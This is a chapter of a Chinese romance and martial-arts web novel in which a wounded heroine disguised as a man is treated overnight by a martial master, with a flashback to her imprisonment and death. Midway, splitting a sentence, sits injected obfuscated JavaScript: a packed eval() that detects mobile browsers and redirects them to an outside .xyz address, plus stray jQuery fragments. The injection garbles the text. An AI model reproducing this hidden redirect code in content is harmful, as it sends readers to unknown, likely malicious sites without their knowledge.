47. 第 47 章
作品:《你们女武侯都这样吗?》 林天尘心里“咯噔”一声,忙问:“可是阿心出事了?”
林路顾不上顺气,急吼吼回道:“姑娘受伤昏迷了,是被白将军抱回大营的!”
什么?!
林天尘失态站起,衣袖打翻了边几上的茶盏都浑然不觉。
他抬步就要出门,被林路拉住:“世子爷世子爷,您别冲动!即便快马赶去,等到南大营都已宵禁了!
况且,家属无故不得进入军营,除非是对重伤的有大功将士,才可特批亲属入营照看。
但,但……”说到这里,林路有些犹豫起来。
林天尘越听眉头皱得越紧:“但什么?”
“但需知根底的同乡作保……”林路有些沮丧,“可咱们在这里哪来的知根底的同乡?世子爷,咱们即便过去了,也进不去大营,这可如何是好?”
林天尘此时已经冷静下来。
他知道军营不是他可以冲动的地方。
何况边境城镇的宵禁非同儿戏,若是无故在宵禁时间出现在街道上,无论什么身份,都极有可能被当做奸细抓起来。
即便事后解释清楚,要出来那前后也得耽搁好几日。
不可冲动。
否则更难以见到小妹了。
他不得不承认,即便此时再心急如焚,他能做的也只有等。
至于明日如何进入大营?
知根底……
的同乡?
林天尘眼眸含星。
南大营里这不就有一个?
…………
白三快步上前掀起帐帘。
白行迟跳下马,抱着林夏心疾步走进去。
白三放下帐帘,去将踏雪和林夏心的坐骑拴好,然后将他们的随身物品拿进去。
“师父!”白行迟边走边对着营帐里一个悠闲躺在摇椅上的人唤道,“请您救救他。”
叶逍遥一手拿书卷,一手抓着个小冬枣,坐在摇椅上晃啊晃。
“咔嚓——”
“咔嚓咔嚓——”
冬枣三两下便被咬完了。
叶逍遥随手往后一扔,枣核便“嗖——”的一下精准钻进了一个小竹篓里。
然后拿起下一个小冬枣,“咔嚓咔嚓”咬起来。
他今天累死了,一点都不想搭理白行迟。
白行迟将林夏心小心放在矮塌上,在心里准备了一大段台词来说服师父。
他看着师父这无动于衷的架势,内心叹气——就知道师父不会轻易同意的。
说起来,叶逍遥并不能算是白家军的军医,而是他和白行礼的师父,自小教他们阵法和独门内功。
而叶逍遥之所以会在白家军,主要还是因为白行迟师公让叶逍遥务必随军。
但他自在惯了,又不愿意每天被拘在军营,累死累活地救治数不清的大头兵,便在白帅和白行迟的连哄带坑下立了个规矩——只医治旅帅和以上的将领,其余时间自便。
可来了军营才知道,白家军这几年扩军了,现在足足有三十万将士!
每个旅帅分管五百人,军中光旅帅就有足足六百个,更别说另还有几百个校尉、都尉、中郎将、将军。
他每天忙得是不可开交。
叶逍遥这才明白过来,他这坑爹的好兄弟和大徒弟,是一个都不能信了!
至于小徒弟……
哼!
除了擅长挨揍啥也不是!
他也不要信了!
此时白三掀帘进来,他手上拿着林夏心的佩剑“梵音”,还有白行迟的常用佩剑。
通体乌黑的玄剑低调而锋利,很是有神兵气场,一出现便将叶逍遥的目光吸引过去。
他盯着“梵音”一瞬不瞬,眸中闪过一丝难以形容的光,以至于徒弟走到近前了也没有发现。
白行迟走到摇椅旁,对着叶逍遥行了一礼,刚要开口。
“这剑是你的?”叶逍遥站起身,问白行迟。
白行迟摇头。
叶逍遥已走到白三跟前,问道:“那是你的?”
说罢伸手在白三手臂和肩膀上捏来捏去。
白三莫名其妙,但也任由他捏,同时恭敬回道:“回叶先生,这剑是夏行兄弟的。”
“夏行?”叶逍遥停下手中动作,指指榻上的人,“是这小子吗?”
白三:“正是。”
叶逍遥两手揣起,胡须抖抖。
这才对嘛,白三他之前就见过,虽说也是根骨上佳,但远没有到成为师兄嫡传弟子的程度,又怎可能会有师兄亲手打造的神兵呢?
那玄剑他虽未曾见过,但一看便知是师兄手笔。
叶逍遥这才正视起床上那个意识全无的小豆丁。
他走到矮塌边坐下,将手指搭上她的右手腕。
只一瞬,他闲适的表情便顿住了,但很快恢复了正常。
白行迟一直留意着师父,自然没有错过,不禁也变了神色:“师父,可是情况十分严重?”
叶逍遥朝他们挥挥手:“没事,你们出去。”
白行迟和白三有些犹豫,站在原地没动。
叶逍遥有点烦躁,又挥挥:“去去去,别打扰我医治。”
他们无法,只好照做。
白行迟走到门口,仍是有些不放心,回头又看了看他们。
叶逍遥已把完了脉,对他这要走不走的难受模样很是无语:“行了行了,阿迟你留下,过来这边。”
白行迟依言走过去。
“师父有何吩咐?”
叶逍遥让出位置,说道:“你给这小子输些内力,我给他行针。”
白行迟嘴唇微动,几次想说什么,但相比于担心,他更相信师父,于是便将嘴边的话咽了下去。
他坐到床边将林夏心半扶起来,靠在自己身上,一手扶住她后仰的身体,一手将内力从她的后心输送进去。
叶逍遥也没有闲着,他撩起林夏心的两只袖子,欲将银针扎进她手臂。
当看到她左手腕处蔓延了小半截手臂的黑色纹路时,叶逍遥的面色大变,呢喃道:“难道古书记载是真的……”
白行迟正专注输送内力,并没有留意到叶逍遥的自言自语。
银针悉数扎进林夏心的手臂后,她的表情非但没有轻松,反而愈发痛苦起来。
她的身体忍不住开始挣扎,又被白行迟牢牢扣住。
真气仍在输送。
林夏心的表情更痛苦了。
她的体温开始急剧下降,不一会儿,四肢便冷得像冰块一样。
睫毛眉梢上甚至挂上了白白的霜。
白行迟吓了一跳,看向叶逍遥,用眼神询问师父。
叶逍遥点头,示意他继续。
内力继续输送。
过了两刻钟,她的身体温度开始回升,眉梢的霜化了。
但是温度却越来越高,完全没有停下来的趋势。
再这样烧下去,不死也傻了!
但叶逍遥仍示意白行迟继续。
白行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487457|185089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迟相信师父,将不断挣扎的林夏心紧紧箍住,手掌继续从她后心将内力输进去。
看着夏行这虚弱的模样,不知为何,白行迟竟又想到了幻境中见到的“林姑娘”。
她四肢和脖颈被重重铁锁套住,那面色苍白,气若游丝,跟此时的夏行是如此相像。
他还清晰地记得,看到那一幕时,自己心中那让人喘不过气的细密疼痛。
而现在,这种心疼的感觉竟好像又出现了。
一阵一阵的,来得十分突然,且莫名其妙。
怎么能在幻境中看到个姑娘,就在现实中对着个长相清秀的男子胡思乱想?
这样的自己真是不可理喻!
他唾弃之。
又过了两刻钟,林夏心体温下降了。
但又开始发冷。
就这样,不断发冷,发烧,发冷,又发烧,约摸持续了足足四个时辰,在天快亮的时候,她的体温终于恢复了正常。
饶是内力深厚如白行迟,此时也是被累得面色发白,脚步虚浮。
“去去去。”
叶逍遥果断把他赶回主帐去休息。
白行迟也知道自己留下来已经没什么可以做的,便依着师父的话先回去了。
林夏心感觉自己一会儿被架在火上烤,一会儿又被扔进冰水里泡。
反反复复的。
心口的疼痛钝钝的,强烈而持久。
感觉手腕处有什么奇怪的东西在那里游走。
总而言之,疼死她了!
身上真是无一处不难受!
好在后心有股热流一直在涌进来,给了她抵挡疼痛的力量。
否则她估计疼着疼着,就会因为没有能量继续抵挡而彻底睡过去了。
林夏心疼了大半宿,那种冰火交织的情况终于停了,她总算能昏昏沉沉地睡过去。
然而这一觉睡得不甚安稳,她梦到了很多从前的事。
林夏心死在一个瓢泼雨夜。
那是她被囚禁的第二十天。
这些天来,她日日被酷刑拷问,身上遍布了大大小小的伤口,血流了又干,干了又流。
她被问得最多的一句话就是:“东西在哪里?”
她不知道他们说的到底是什么东西,她只知道,自己的血快流干了。
因为她已经开始出现了幻觉幻听。
在这隆隆雷声中,她怎么好像听见了细微的兵器交接声。
她强打起精神,费力抬头。
难道有人来救她?
不可能。
自三年前父亲去世后,睿国公府便只剩下阿兄独挑大梁。
可去岁阿兄也意外身亡了,府中只余她和病重的阿娘两个主子在苦苦支撑。
家道中落后方才体会世间悲苦,好在她还有那个订亲多年、待她始终如一的未婚夫裴珩。
可她却在嫁给裴珩的路上,吃下丫鬟递过来的点心后,就彻底失去了意识。
再醒来,就到了这里。
黑衣人告诉她,“裴少奶奶”已经顺利与裴珩成亲,如今裴府中,那位“裴少奶奶”正与裴世子举案齐眉。
她顿觉如遭雷击,怀疑自己听错了,她的裴家阿兄,怎可能没发现新婚妻子换了人?
林夏心虽不明白到底怎么回事,但她绝望地意识到,不可能有人来救她了。
外间刀剑相击的声音更明显了。
突然,房门“嘭”的一声被踹开,有一个不甚熟悉的颀长身影提刀快步进来。